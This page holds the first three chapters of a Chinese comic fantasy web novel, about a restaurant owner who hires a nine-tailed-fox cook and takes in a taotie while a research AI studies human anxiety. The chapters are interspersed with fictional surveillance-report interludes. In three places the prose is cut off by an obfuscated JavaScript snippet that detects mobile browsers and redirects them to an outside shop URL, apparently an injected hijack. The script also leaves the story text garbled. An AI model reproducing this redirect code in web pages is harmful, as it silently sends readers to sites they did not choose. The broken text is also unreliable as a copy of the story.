《靠口感判断》 1. 捕获妈咪 贺途的皮毛,就像小提琴一叠连奏出的长音。 但即使指缝间是如此奢华,樊也还是道:“我觉得人和宠物应该保持距离,你觉得呢?” 毛茸茸的一滩肉饼下,隐隐透出人声,可贺途显然不这么觉得,喉咙里呼噜了一声,勉强左挪一指,又很快觉得自己亏了,叼起樊也的肘子,边塞边吃。 “你懂什么叫竭泽而渔吗?”樊也被酒色淘空的身子给饕餮一卷,心慌得往嗓子眼冒。 “你懂什么叫对牛弹琴吗?”贺途道。 樊也吐血,但硬咽下去了。 半晌。她不死心,又问: “你就没考虑过膳食平衡?” “可我对你一见钟情。” “一见钟情的意思是生吞活剥?” 他说得缱绻:“一见钟情的意思——是吃干抹尽。” 行吧,不管竭泽而渔,倒是懂节约粮食。 他吃到了叉骨。一般是甩开腮帮子大开大合地啃,逢三岔五也想象仪容,不疾不徐地拿舌头卷,像剐人骨头缝里的肉丝。在品出前调后调尾韵余香,并磨完樊也的最后一分耐心之后,再觍着脸道“姐姐还饿”。姐姐要是不搭理,就回首流眸,颤着声儿再叫:“姐姐,你摸摸我的心慌不慌。” 樊也很吃这套,不然也不会被放翻在床上。头被嘴筒子顶得不断向后仰去,眼看着房顶摇摇欲坠的第二块墙皮,陷入沉思。第一块昨天掉进了她嘴里。 说起来都怪系统。那时她傲然拒封上将,从军部滚蛋后,老师给了她一条锦囊妙计,说在危难关头打开。樊也希望是支票。 显然不是,锦囊里飞出来颗破球,说着要拯救人类的屁话,让她给它干活。 樊也断然拒绝。人类灭绝关她什么事。但那系统说:“如果饭店倒闭,你就只能去找工作了吧?空窗八年,你准备怎么跟HR解释?应届生的能力,社会人的身份,你拿什么和大学生一起春招?” 樊也欣然接受。识时务者为俊杰。 系统0114道:“焦虑,是本世纪人类死亡的主要原因。长期持续性的社会压力,使得人类的心脏结构和电生理被重塑,在受到强烈刺激时,极易诱发室颤,进而猝死。尤其还有一些吸人精气的妖怪——” “啧,简单点。”樊也打断。 “人类完了,饕餮吃的。”大会上,主任操河南话拍桌的画面感太强,0114一不小心便重复了出来。它正准备找补,却突然听见爆鸣:“警告!心功能模式异常!心功能模式异常!已为您拨打急救电话,请静坐等候!请静坐等候!” 这不是ILR的报警?因发病率持续攀升,所以每个公民成年后都被要求植入心电记录仪,用以监测心率。可她不是全星际最健康的人类?难不成她也被饕餮残害? 樊也向遥远的虚空伸出无助的手,店里的三花猫猫身披孝衣,脑后绑了两条卷纸,喵呜喵呜地哭丧。 0114立即发送所有信号求援,并查询主星上百家医院医疗设施的占用情况、专家位置、可调用车辆、交通路线……它的操作面板一片红海,所有计算单元满载,硬件温度远超90℃安全上限。0114一边咬牙支撑,一边安慰樊也:“你坚持住,三分钟内会有直升机赶到,救援设备也已准备就绪!” 然而不等三分,只等两秒,樊也就咧嘴一笑,“嘿嘿,骗你的。” 她瘫在沙发上,从屁股兜里掏出唱警报的手机关掉。 0114一行行冰冷整齐的代码,微不可见地轻轻颤抖。调试处理后,终于找回自己身为应用程序的理智,关上一个个求救窗口,并向上司和同事们一一道歉。 “总之,据张教授研究显示,人类焦虑指数同个体饮食状况有隐性关联,我们将以该饭店为核心,发展传统食物……” “可我店里没厨子。”樊也憨笑。 0114的系统骤然死锁。整个人类心脏心理研究所筹备了三个月的计划被樊也三分钟走完,并且那人已在下一个三秒,扭扭屁股睡着了。唯有店门口遗书似的一纸,同它一起于风中飘零,那是樊也很久前就裱在墙上的大字:招厨子。 入夜,樊也肚内响咕咕,正翻冰箱,却听乓铛一声,门外来人。扑腾腾,惊诧几行麻雀。 那脚步一落一声,重得像两条夯糍粑的锤。恍恍间,仿佛锤裂地面簇起山峦,小山又撑起张长大魁肥的身躯,往屋内一横——显得桌椅灯顶脆而秀小。 走近了,他大手一挥,将招聘启事拍在桌上,问:“你爱吃什么?” 樊也单层的下巴被平压过来的肉案催逼成双,尽管屏气,酒味仍旧势如山倒。 “你该留长发!”电光火石间,樊也灵光乍现。饱满的胸膛自该有秀发饰其弧度,寸头成何体统? 虽然寸头和那两块饱满的反差感也十分引人垂涎,但或许是看见了他后脑发旋里歪歪翘起的一缕,打招呼似的摇晃,就像三个孩子叠起来装大人,身高足够却肚里空瘪的破绽。因而樊也总觉得那粗鲁的皮是他草草披的,内里只不过是头钝钝的大猫,会局促地坐进盛不下他的沙发里,慢半拍地看着咖啡杯里的爱心呆呆的笑。 “你要吃什么?”他已抄起炒锅。 发酒疯的方式是给别人做饭?她很欣赏这个爱好,但:“据我所知,店里应该只剩下两个鸡蛋。” 咔擦声响,蛋壳一碎两半。蛋液流淌,他手腕轻轻一翻,便用蛋壳将蛋黄托住,连指尖都未沾染分毫,就滤出个圆圆整整的黄儿。橙红的蛋黄包裹住白胖的米,起锅,烧油,炒饭,颠锅,在完美的金黄之弧落下之际,樊也的口水也吞咽下肚。呲啦,饭从铁锅倒出——它支颐侧卧沐浴光中,一看便知被葱油照顾得很好。樊也直奔灶台,揣锅而起,仅给一样饿得流涎的猫猫留了桌上的一小小碗儿。 饱足的眩晕中,樊也遐思翩翩:贤妻良母,果然是让人又饥又渴的尤物。再搭眼看他,别说是白毛寸头,酒气连天,就是这半臂的青龙纹身,她也只觉毛茸茸得可爱。 但现在她身为老板,怎能轻易松口,让这小小的应聘者拿捏她大大的公司?因此她剔牙咂嘴,肆加点评:“啧。调料味太重了啊,根本没有体现食材本身的鲜味。” 0114拎着大包小包,刚刚进门。它扫描着垃圾桶上的塑料壳,一遍一遍——过期三天的鸡蛋,还能有什么鲜味? 0114的内心天人交战。为确保研究计划顺利执行,部门不但给它安装了心脏相关的检测装置,还配备了妖气检测仪以防万一。但现在……可、可他是个厨子啊!三战后,全星际都找不出几个厨子,现在遇上的这一个要是错过,以后可能也再找不到了。因此0114擅自做主,已下单网购食材,先让他留下再说! 黑脸醉汉气得吞下一枚酒嗝,见材料到齐,又闷着头,做了辣子鸡回锅肉糖醋里脊红焖羊肉。樊也同米然吃得满嘴流油。 “行了行了,你被录用了啊。明天上班。”樊也拍拍肚皮,准备上楼睡觉。 “我不当厨师了……,我要回老家相亲。”他低着头,扭捏道。 “那你揭我皇榜干啥?” “告别……”他站在灶台边,背对着樊也。终于解下围裙,手却还不舍地攥住个边儿。 “可真的很好吃啊。”在樊也不很走心的夸赞中,一根白色的大尾巴从他的裤腰缝隙,很努力地钻了出来。 因常有妖怪吸人精气,普通人都唯恐避之不及。但樊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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樊也乘胜追击,洒泪同咪咪道:“快,跟哥哥说再见,他明天就走了。” 咪咪伸手,却用爪子钩住人家裤腿儿,“妈咪——” 樊也一个飞扑,跪在地上阻拦,“这样不好,每个人都有自己想做的事情,我们……我们只需要在背后支持他就好!”她扬起满是泪水的脸,对一个刚认识俩小时的醉汉深情嘱托,“你放心,你走后,我一定会好好照顾孩子,这里……这里永远都是你的家。” 半醉半醒间,九尾狐签了二十年卖身契。当他名字最后一撇在纸上写完的瞬间,樊也同那只叫米然的猫就变了嘴脸。 “睡觉睡觉,明儿六点起来做饭啊。” “我要吃炸鸡汉堡套餐。” “我要豆浆油条煎饺羊杂小笼包。” “对了,薯条!薯条要脆脆的那种!” “啊薯条,我也来一份。” 胡久为抱着包袱卷,看着骤然关闭的大门,独饮西风,兀自凌乱。可惜签约容易解约难,樊也给他的九九八十一难,这才挨了一招。 ------------------ 行为日志全面监视报告 文件编号:af78b6c63f1bb6f55f0c9bf4a6f8a8f3d5e2a3c1b7f9d4e8a2b6c0d7e1f3a5b8(以当日日志发送时间SHA-256哈希值加密生成) 目标:樊也(ALPHAMAND-01) 监视时段:2426年4月24日14:03:10-23:59:59 报告对象:控制中心/数据分析部 监视AI标识:SENTINEL-XIV 附属数据:1.全程音视频录像(.hiv)2.生物体征遥测流(.bio)3.行为分析标记(.tag) 数据状态:流式切片,双链路上传,5秒间隔,本地写满覆盖。当前链路抖动0.3%,无丢片。所有切片已抵达中心机房。 日志摘要:九尾、猫妖(待观察)。详见文件内部。 2. 饿中色鬼 是夜,明月高悬,峨眉似的一弯隐在银蓝里,静悄悄地觑着眼。饕餮身缠狱火,浓密的毛发于疾驰中抖动,一纵数米,跃过户户屋顶。 身后追来的一长串尾巴距他已仅有米粒大小,路过座旧瓦房时,被一震天彻地的喷嚏当胸一劈,饕餮倏地踩空,连人带瓦地落进某人怀里。 咚地一声闷响,樊也脑壳钝痛。她意识苏醒了约有半秒,紧了紧怀里的人,抖了抖头顶的瓦,看了眼天上的月亮:不相干,就又睡着了。 闻见好闻的味道,饕餮也不挣扎。拿尾巴往人腰上一卷,固定好,瞄了眼房顶他踩塌的那个大洞:不相干,也就睡了。 可怜樊也,漫漫长夜,她那是越睡越冷,天不亮就冻醒了,脑门子一跳一跳地疼。还好盖的被子厚,不然该跟着寒流走了。嗯?被子?她低头一看,这不是条狗吗。 饕餮,狼身羊角,虎爪龙尾,比食肉的猎手多一分健壮,又比食草的肉山多一分矫捷。其标志性的血色旋角平时隐匿不显,但也绝对不像狗的样子。非要说的话,犬齿收起时,毛发瞳色大体与黑狼相似。不过樊也觉得,归不到猫的,都是狗。 樊也脑袋惊讶,手上却不。她从人头撸到屁股,又从在屁股最浑圆处徘徊,再徐徐转回肚子。多么蓬松而顺滑的手感?而且还是卷毛!普通人的自来卷各自为政,朝四面向八方,像根没扎好的鸡毛掸子。但手下这个却仿佛洗发水广告里女明星一撩头发甩出的大波浪,不但柔顺亮洁,甚至饶有弹性。 樊也痴迷上瘾。饕餮眼帘半抬,斜睨过去,尾巴仅懒懒一晃,樊也就变成见了激光笔的猫。 她把头埋进狼毛,品鉴已至嗅觉。这狗是天上掉下来的,四舍五入就是上帝的旨意。虽然她不信上帝,但天予不取必受其咎,这么可怜的小狗,一个人在外面怎么活得下去。 她又在那厚实的胸膛里拱了拱,嗯,小狗。 饕餮心情颇好,因一夜好梦,也因有点心在床边等着。他低头嗅嗅,闻起来不错,像是太阳雨。啃一口……舌头麻麻的? 饕餮没有味觉。他已不记得是一开始就没有,还是后来失去。正因有感的记忆太过遥远,以至于即使终于尝到也不能确定,仍试图将味觉归于触觉。 好在很快,脑内的神经便绷扯到不能自抑,根根折断在他眼前,叫嚣着存在。他失去理智。味蕾苏醒的感觉一点点漫延。舌床被唾液淹没。他明白,这叫垂涎。 他决定将樊也定义为甜味。犬齿已抵在喉管。 兀然,他却被人端进床底。在狭窄的长条状视野中,看着樊也将两扇窗大大撇开,一脸凝重。 樊也好似外遇动心的丈夫,停车场寂寂无人的深夜,回味与恐惧并存。以咪咪讨厌狗的程度,她举头四望……也不是没想过跳下去一了百了。 只是两分钟后,鼻尖忽而萦绕一股肉香,樊也记忆力低下的优势立马显露出来,愧疚与慌乱瞬间被揪起她双耳下楼的香软驱散。步刚落定,便见新来的厨子正襟危坐,架势像要三方会谈。 “昨晚……我闯进店里,给您添麻烦了。”胡久为礼貌揽错,铺陈前情。樊也吸溜着嘴,呼哧呼哧地吹汁儿,“是我鲁莽了,没想到你做的是灌汤包!” 鲁莽的是这个?“我是说,喝多了签的东西不能作数吧?就是那个当事人无民事行为能力,合同无效之类。” 樊也填了点干的,又想找稀的涮涮,吹豆浆的间隙可算空出嘴,“可你是妖怪,跟人有什么关系。” “你知道我是妖怪?!”胡久为对自己醉后冒尾巴这事并不知情,只以为这店里卧虎藏龙。难道是那只猫说的?他瞪了米然一眼,米然蹲在桌上,叼着汉堡里的肉饼,歪头不解:“喵?” 而樊也更是淡然:“你是九尾嘛,知道知道。” “你还知道我是九尾?!”胡久为连连心惊,“既然知道我是九尾,就更该明白,区区人类的一纸合同,根本束缚不了我。” 樊也奸笑:“这就是青丘名门?嘴上契约啊,信用的,结果居然和我这个区——区——人类一样?” 既说不通,便只好硬抢。破空一掌,从左切来。樊也偏头闪过,还顺带从咪咪嘴里抢走一根薯条。一缕劲风从嘴边掠过,咪咪尚未搞懂发生什么,对面就又一拳横过头顶。小猫脑袋左摆右摆,好奇观战,见双方过招十余下,再一低头,“啊!薯条没了!” 咪咪炸毛,正要挠人,却见那九尾抢不到合同,气急败坏地质问她道:“你也和我一样吧,就不怕那人类出卖你?”即将发作的情绪被骤然打断,咪咪脑袋摇摇,耳朵甩甩,下意识实话实说道:“她是好人,她记得我喜欢吃蓝瓶的罐头。” “蓝瓶的打折。”樊也两个腮帮子塞得死满,还嘴快接话。 霎时间,一道黑影腾空而起,恍若蛟龙出潭猛纵数尺,起手黑虎掏心,次着德式背摔,上势狮子连弹,下势战争践踏。 樊也魂飘半空,胡久为畏畏臣服。 但灾难就像中年偶遇斑秃,如果只秃了一块,那肯定是你没看见。樊也正拖残躯爬向肉包,刚抬眼,就惊掉下巴。她昨儿捡的狗大摇大摆晃下了楼,左迈一步,屁股左拧,右迈一步,屁股右旋,优雅得像是东北贵妇换上了八万的貂。但樊也要不起下一套狮子连弹,就像内马尔的腰子要不起祖尼加的第二次提膝一样。樊也把狗塞进沙发底,眸光珍重。 狗未藏好,咪已将至,她跳上橱柜,如辛巴雄踞悬崖,鼻息咻咻:“怎么有股狗味?” 与此同时,0114也开着热成像仪左盘右转,这店里有一个非常强大的妖怪!妖气比九尾都强! 樊也眼看着空陆两边大军压境,抱着狗头瑟瑟发抖,连连质问:“怎么办啊?尔康,你、你说句话啊!” 饕餮:“嗷呜——” 呜的一声没呜出来,樊也把狗坐在身下,腰杆笔直得像开学第一天刚被点名的小学生。系统闻声飞来,樊也一个倒挂金钩,将其踹飞。 只是结算特效有些华丽,一阵金光中,入门的足球撬动了异世界的口儿,系统和狗在樊也这个催化剂下发生反应,蓦然,俩玩意一起消失了。 “你把妖怪关储药仓里了?”0114在它蛛网状的新屏中,崩溃找寻樊也。 樊也一脸的我不知道,以及就是知道也了无办法的死相。冷漠得像当了二十年爸爸。 0114的CPU高速运转,思考着各种可能后果以及应对措施。储药仓使用军用级的空间折叠技术,内储存有整个星际最前沿的新药。如果妖怪进入其中,可能会导致无法挽回的破坏,它得尽快和上级报告,启动应急措施…… “问题不大!”樊也拍拍胸脯,其实压根没保证什么。再说了,就放个药用什么空间折叠,叫什么储药仓结果门都不关,捕鼠夹还差不多。 另一旁,三花猫猫蹲在沙发扶手上,锁定猎物的竖瞳越逼越紧,头渐贴至樊也耳旁,掐着嗓甜甜道:“刚刚那条狗是谁呀?” 樊也浑身一凛,汗毛倒竖,“没、没谁……” “你身上的臭味就是从那儿蹭的?” “哪……哪有……”樊也绷紧了皮,一毫米都不敢往米然的方向近去。人咽了口吐沫,恰好手机响,便要借机遁走。但猫爪已然搭上,“就在这看。”樊也谄媚陪笑,忙把手机摁开了给咪看到:“你看,谁也不是,就是提醒我交电费的。” “是吗?相册打开。”猫娘娘高居上首,樊也颤颤跪地。相册……相册……相册哪能开啊,那里面前一百张照片全是她和出轨对象的蜜语甜言,这要是给咪看见了,高低得给她判个活剐。 见樊也不给,咪咪上爪就抢,在一人一猫的挫磨点按中,手机页面几度变化,而樊也在转瞬即逝的一刻惊鸿一瞥,瞧见抹鲜红的数字,突然,就想通了。她将手机夺回,往下一扣,肃然发誓道:“你说得对,我再也不找他了。等他从那什么仓出来就赶他走!” “以后周一到周五我全都陪着你,周末也不再找别人,专门给你按摩修毛,再和你去公园放松放松过二人世界。”樊也庄严承诺,好好丈夫的样子。 饕餮笑了。赶我走?你是准备抱着走,还是推着走? 0114还在咕咕囔囔,“出这么大事主任不会直接开除我吧,他们怎么还不回复?”小AI人似的对着消息界面刷了又刷,“啊回了回了!不用管?储药仓有隔离能力?这是什么意思。” 隔离?饕餮动了动手脚,人便从一片静湖中分离,身后牵着糖丝般黏腻的金线,但也仅略微一挣就断了。但视野里是凹凸不平的碎片,光怪陆离,进入四维后,光线的错乱,视网膜的超载。怪不得能隔离,三维的生物没有通过四维空间的解法,因为视觉触觉通通失效,无从判断自己在哪,更无从判断门在哪。但为什么要判断?饕餮想到什么,笑得甜美。 化为兽形后张开大嘴,管他是三维还是几维,管他是否能够理解,反正是咬穿了,所有精巧高明的设计都像一颗成熟的痘痘,轻轻一触,便破溃流脓。 出来后,他维持着兽形的习惯,甩了甩毛发,转头就去樊也卧室洗澡。 洗完路过镜子,侧眼瞄见里面人影。太高了。他在镜前停下。于是调整着身形变矮。又看着一双手,从扑面而来的掌控转变为急于成长的清瘦。他用那双手将雾气擦净,这才端详五官——骨与肉的边缘有割人的锋口,与她身上收敛性的冷气相冲。不、不能是这个年龄。他看进镜子里去,深情地想,得看上去更小一点,小到可以叫她姐姐。 姐姐?多么亲昵而依赖的幻想。 “姐姐?”他对着镜子,笑且眨巴着眼睫。不、不对。再轻一点,斜一点,头要侧着,小心地,从上至下地看她,“姐姐?”还是不够。眼睛再大一点?不,再大会显得纯而愚蠢。头发再长些?小心瑟缩的样子。哦,脸再白点好了!一按就能留下印子的,甚至掉下眼泪也理所应当。 调整好,对着镜子,又重新笑着,“姐姐?” 算计和迷恋堪堪分平,他比较满意了,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587012|205325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着该给自己起个名字。叫什么好呢?他站在樊也卧室中央,因头顶上的大洞,很满意通风。改天叫她把顶楼加个阳台。唔……要找名字。他光着脚,水印洇留的地板上,小小的两个圈,旋转着加来阴冷的意味。他蹲下,让水汽熏得地砖更湿。看见了自己。啊!就叫贺途好了!没有关系?为什么要有关系。 于是便兴冲冲地要下楼去,三五级台阶跳了一半,有东西啪嗒在腿上,才想起没穿衣服。捡了樊也的衣服穿,站在镜前又不满意,不够可怜。于是从二楼的窗户上跳下去,捡破烂去了。 贺途离开,却想到捕鼠夹那个名字。捕鼠夹……我也做一个好了。于是野草的正门门前张开巨网,再进入店门的顾客化成片蓝紫数码,进入与店内一模一样的屋内。而他还贴心地将实况转播至电视,好叫有观众替他看着。 异空间内,客人正点单落座。店内空无一人,桌椅之间彼此对齐的竖线分毫不差,但他却一点不觉奇怪,似乎这家店就该是只等着他一人的。 “您的菜上齐了。”他低头,却只看见一团白雾。倒是端过盘来的手清晰可见——纤白细嫩的腕子上,挂着个翠绿的镯。他抬头看脸,只一眼就又忙忙垂眸,心内牢牢印下了一抹淡青色的俏影。不过味道有点奇怪,他悄悄闻着,总不能……是狐臭? “这……这菜……”他不太敢问,仅试探着。 “怎么,你不记得了?”柳芹芹道。 对面,她直逼而视。他不敢说不记得。正要含糊过去,她却突然脱了丝袜,那动作利落到奇诡,简直像从腿棒子上抽剥出来似的。 “你不记得我?”质问声中,柳芹芹扬手就是一鞭。误入店内的客人挨了这丝袜制的鞭子,怪味更是直冲脑门。“连这味道也不记得?”她起手要抽,抬眼见他怕得发抖,又自己落下泪来,“你都多久不来见我了,以前你明明最喜欢这个味道的……” 杏眼含露,即使他茫然不知,也下意识认错,“或许我们在哪个咖啡店见过?我不大记得了,你别生气。” “去你的咖啡店!我是芹菜!” “噗——”场外,看情仇大戏的樊也,一口咖啡喷了个水雾绵绵。 “芹、芹菜?”他哆嗦着,不可置信地瑟瑟倒退。柳芹芹边哭边骂:“你刚刚心里是不是说我臭来着?”边骂边掐,“是不是?是不是?”一双春笋似的手没把男人掐疼,自己倒是指尖红若雪中点梅。 客人立马软了声调,“哪有?我说的是蒜!” 白蒜蒜可不好惹,她才不是柳芹芹那样的软性,一瓣人炮仗似的就射了出来,扯着他的耳朵问:“你说谁臭呢?” 男人哪敢还嘴,“我是说香辣!香辣!” 焦辣辣一掀帘子,尖声:“她辣?她算个屁的辣!” “呵,你倒也还是差点。”未见其人先闻其声,但谁还能与辣椒比辣?男人正好奇着,就看见一南亚风身披紫绸的女子,腰间肚脐隐露。 “你?你才是真正的酸臭!”洋葱大蒜和辣椒吵在了一起,客人被熏得头痛,谁知这会儿柳芹芹又杀了回来,“我和马铃铃你爱谁?” “马铃铃又是谁?!” 场外,樊也振臂高呼:“土豆——!她是土豆儿!” 里面吵成了一锅粥,樊也只觉得炒得好。 还是焦辣辣最为大胆,她两步上前,一抹吊带,香肩斜露,人骑跨在他身上,徐徐勾蹭。客人辣得两泪交流,叫苦不迭:“我这是点的什么菜啊?” “对啊,他这是点的什么菜啊?”樊也吃瓜吃得两眼晶亮。 胡久为耸肩:“什锦饭。” 樊也牢记于心:什锦饭有毒。 饕餮刚进入时,0114的报告毫无反应,饕餮出去时,整个心研所连线军部,紧急开会至于深夜,并往更上级控制中心报告才终于查证,这次出现的正是那个所有人都不愿面对的结果——饕餮。整个部门启动一级防备状态。 樊也关心的点与0114大不相同,什么顶级凶兽、突破四维通通不管,听见饕餮两字就去冰箱看肉,牛肉已无两大筐。此狗断不能留。 ------------------ 行为日志全面监视报告 文件编号:b4c8d7e9f1a3b6c0d2e4f7a9b1c3d5e8f0a2b4c6d8e1f3a5b7c9d0e2f4a6b8 目标:樊也(ALPHAMAND-01) 监视时段:2426年4月25日6:00:00-23:59:59 报告对象:控制中心/数据分析部 监视AI标识:SENTINEL-XIV 附属数据:1.全程音视频录像(.hiv)2.生物体征遥测流(.bio)3.行为分析标记(.tag) 数据状态:无待重传切片/全部切片已抵达中心机房 日志摘要:饕餮幻境能力记录。详见文件内部。 3. 学会道歉 东南风中,摇摇荡荡的柳絮团团飞过,像群明目张胆在人类眼前过市的妖怪。但里面还真有妖怪,叫做兔霉,春暖土酥后冒头,从地底大规模迁徙至河畔安家。 老师说,兔霉因通体雪白似兔毛而得名,但樊也觉得,是因为它们长得像霉豆腐身上的菌丝。不过她也没吃过霉豆腐,她只是对着图片流过口水。人类已食用营养液几百年,三代之后,许多手艺都成了固定在历史文献上的遗响。现在都没人会做豆腐,更别提发霉。 因此在军部的事业英年早逝之后,樊也开了家饭店。她以为开了饭店,只用张大嘴等,梦里的好吃的就会像天上掉馅饼一样扑落落下。她在门口的摇椅上睡了三天,饿瘦了一圈。 本以为一切在骗来厨子后能渐渐好转,谁曾想麻绳专挑细处断,厄运专捡苦命人——厨房给饕餮吃空了,樊也和咪咪抢猫粮。 地下室储存的食材为营业专用,由九尾镇守,严防樊也饕餮。 且上次那位挨搋的客人居然是个编剧,回去眼泪还没流完,就趁着劲把剧本写了出来,两天内拍完开播,短剧霸榜各个平台。即使并不相信,剧中那个会看见拟人食物的店,也仍旧勾起了许多人的好奇。 “野草?这店怎么叫这么个怪名。” “逼格呗。” 几位别着相机的顾客进店,0114顶了个蝴蝶结,换甜妹音道:“今日活动,入店即赠送汤品,有奶白豆腐鲫鱼汤,枸杞萝卜羊肉汤,粉丝千张牛肉汤,还有山菌红枣炖乳鸽,您想选什么?”樊也在对着汤流哈喇子。 “啊,就要最后一个,那个山什么鸽的。” 两分钟内,一大碗热汤端上。被香味吸引,他忙忙凑上前去,视线内瞬间一片白雾。眼镜被熏花,却并不恼人,只因它烫得熨贴,把最后一丝春寒都驱了个干净。他若隐若现地看着汤里飘起的各种蘑菇,慢慢将手也贴上碗沿。过几秒后才拿起汤勺,撇散一团团油花,轻轻吸溜着,尝了一口。 起先,是烫碾过舌尖的酥麻。在那一丝微痛退去后,数千个味蕾瞬间觉醒,但转而就发觉自己被鲜甜攻占。他想满满填上好一大口,又想小口啜饮细细品味。可他疏忽了,因为他还未尝最关键的一口。菌菇里的汤味与外边还更不同,那是赋予了干菇第二次生命的,将它充盈的,彼此结合的,风味沉淀后复又激发出来的,让人惊叹却又流连的独特(也就是谷氨酸、天冬氨酸、鸟苷酸、肌苷酸和百种风味因子的协同作用)。 他明明喝完了一整碗,却竟更饿了。 “老板,再来一碗!” 见有戏,0114抓住机会,开口推荐:“您刚刚吃的山菌炖乳鸽只是我们的开胃汤品,接下来您是否愿意尝试正餐?如果喜欢清淡的可以点清真鲈鱼、芦笋炒虾仁、白灼菜心,想要爽口些可选凉拌三丝、泡椒风爪、酸菜炒粉条等小菜解腻,想要硬菜,我们还有红烧排骨辣子鸡啤酒鸭梅菜扣肉土豆烧牛腩,您意下如何?” “都要!吃不完我打包。”他豪迈道。 如此这般,野草一中午大概接待了二十几名顾客。虽不说赚回了本,但在心理研究上却大有收获,“刚刚走出去的那个人类,焦虑值降低了0.2!” “0.2至于这么激动?”其实樊也也很激动,不过她激动的是,自己三日后于桥下要饭的幻影似乎终于消失了。 0114激动反驳:“没有任何一种药剂能稳定改善焦虑,如果传统食物可以做到,那将是一个拯救全人类的发现!”只是它还记得这期间有饕餮在后,因此快乐得十分小心。 “既然如此,那你们是不是该考虑给我投钱,然后全国联锁扩大经营,招募员工,上市融资?”樊也捞起0114,胳膊肘直顶它充电口。 “没错,这确实是个值得考虑的提议。”0114飞速计算,微微点头。没想到这小系统居然真会松口,樊也刚坐直身子,却听它道:“那你可以离开了,前台做饭上菜刷锅洗碗清洁卫生,我们自有全套系统接手。” 樊也小小的脑袋里大大的不解,随后就砰地一声,挺尸地下。 “我不会再上当了,心脏病发也没用。”它才不要惯着这个好吃懒做的人类。 “警告、警告,心功能模式异常……”后背反张、眼睛上翻,甚至还面色青紫?如此真实,0114不免有些怀疑,试探推搡:“喂,你不用播音频骗我了,我、我已经识破了!” 推搡中,手机从裤兜掉出。黑屏,从未开启,没有启动任何程序。再一测心电,锯齿样无规则颤动波,符合室颤心电图样! 操作面板中央,鲜红狂涨的焦虑值就摆在那里,灼灼闪烁。所以她真的……?0114一个系统都急出了哭腔:“你醒醒,樊也,你、你你别吓唬我啊。我是骗你的,你是全星际唯一一个健康的人类了,我怎么可能抛弃你啊?” 0114慌得团团转,正想向米然胡久为求援,却见他们一脸同情地静静看它。再一瞧樊也——心脏病什么的早好了,人正开开心心地拿羊汤泡饭。 “不可能,我的检测不会有错!你总不能控制焦虑值高低?”0114程序错乱,几欲先死,而樊也又往嘴里扒了两口饭,才手叉筷子,如说书郎般娓娓道来:“只要你想象到,夜晚的寒风中,自己呲牙弓背同流浪猫抢食的英姿,你也可以的。” 樊也正得意着,却听后方客桌,一人爆起:“这汤里怎么有猫毛?你们这是什么卫生!” 他留着三七分的中长发,发尾编一撮小条辫子,像兔子尾巴。掐的好一抹细腰,丝绸粉花卉的衬衫,硬网纱腰封如胯撑起似的,在其圈起的内部仍绰绰有余。只是太瘦,瘦得耽误了身高,一米八的小窄肩,站不稳的衣帽架。 樊也上前查看,碗里确实飘着一绺毛絮。 而咪正卧在柜台舔毛,被这尖叫声一惊,吓得四爪腾飞,以抛物线的弧度往上一窜,又砰地落下,钻进柜底。午后,日光从南边照进,众人都看着那不知是灰尘还是毛絮的东西,在空中翻飞。 “脏不脏啊,你们居然养真猫!有寄生虫怎么办?有猫癣怎么办?你们还是开饭店的,这种卫生都不注意吗!”现如今,大多宠物都改为电子。因一种担忧寄生虫的风潮。 虽然米然并未直接接触菜品,但鉴于她喜欢在高处跑酷以及早上四处搜狗的事实,也不能排除掉入的可能。 “我要去医院检查,你们不但要承担我的检查费,还要赔偿我的精神损失,以及耽误这些时间造成的经济损失。”他放狗似一连奔出许多条目,却额外副开恩的样子,表示还没去监管部门举报。 “这汤是送的!”胡久为忍不住从后厨出来。 “送人吃的就可以下毒了?”他挑高嗓音,一字比高一字。尖着眼瞪去,又一轮得势,手指在手机上点点戳戳,“我告诉你,我拍了视频也录了音。你们这家店,我这次吃完了也不会放过你们!” “毒、毒……不是?那你拿来我给你重换一碗。”“呵,谁知道再换一碗,里面又有什么脏东西!”二人争执,仅两分钟,就惹许多客人离开,甚至连刚进门不知所以的,看见店中央有人叉着手指骂,也立马退步转走。 “我们会赔偿——”樊也站出,刚要上前安抚,却突发奇想,将其盛起碾过后,突然特大声道:“我家咪咪油光水滑,这种稻草绝不是她的毛!” 众人失语,独0114骇然崩溃:在一个食品安全的事故里,你到底在骄傲什么啊? 咪咪闻言,嗖地一声从柜底钻出,又乓地一声把自己摆在台面上,鼻孔朝天,昂首挺胸,蓬松的大尾巴高高竖起:看吧你们这些凡人,膜拜我吧!我就是这么美丽的喵! “就算那不是猫毛,从你们汤里吃出来的东西,难道你们不该负责?”他恶声恶气,咪咪又钻了回去。就是太胖了剩俩后腿蹭蹬着努力。 但樊也毫不退让,米然的毛她一天撸八百遍!况且,他要的是粉丝千张牛肉汤,并不会像山菌炖乳鸽里有干菇渣,那毛絮旁沾着的干屑又是什么? 在双方剑拔弩张,无言对峙的短暂的一个片刻中,樊也突然想起了那些年自己流过的口水,忽而大叫:“兔霉!呸——是柳絮!” 0114搜索全景地图后道,“离野草最近的星铁站靠河,确有许多柳树,而您肩膀和后领处也有可疑的白毛。” 或许是想到自己从哪过来,白的粉底下便登时爆出血管的红,红得很快同他鲜妍的衬衣一样,不过很快,又被自己的刻薄反扎出紫。他抢过挂在椅背的手提包,将安静迟缓得连灰尘都可见的空气里,汀哐拽出个口儿。若不是之前话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 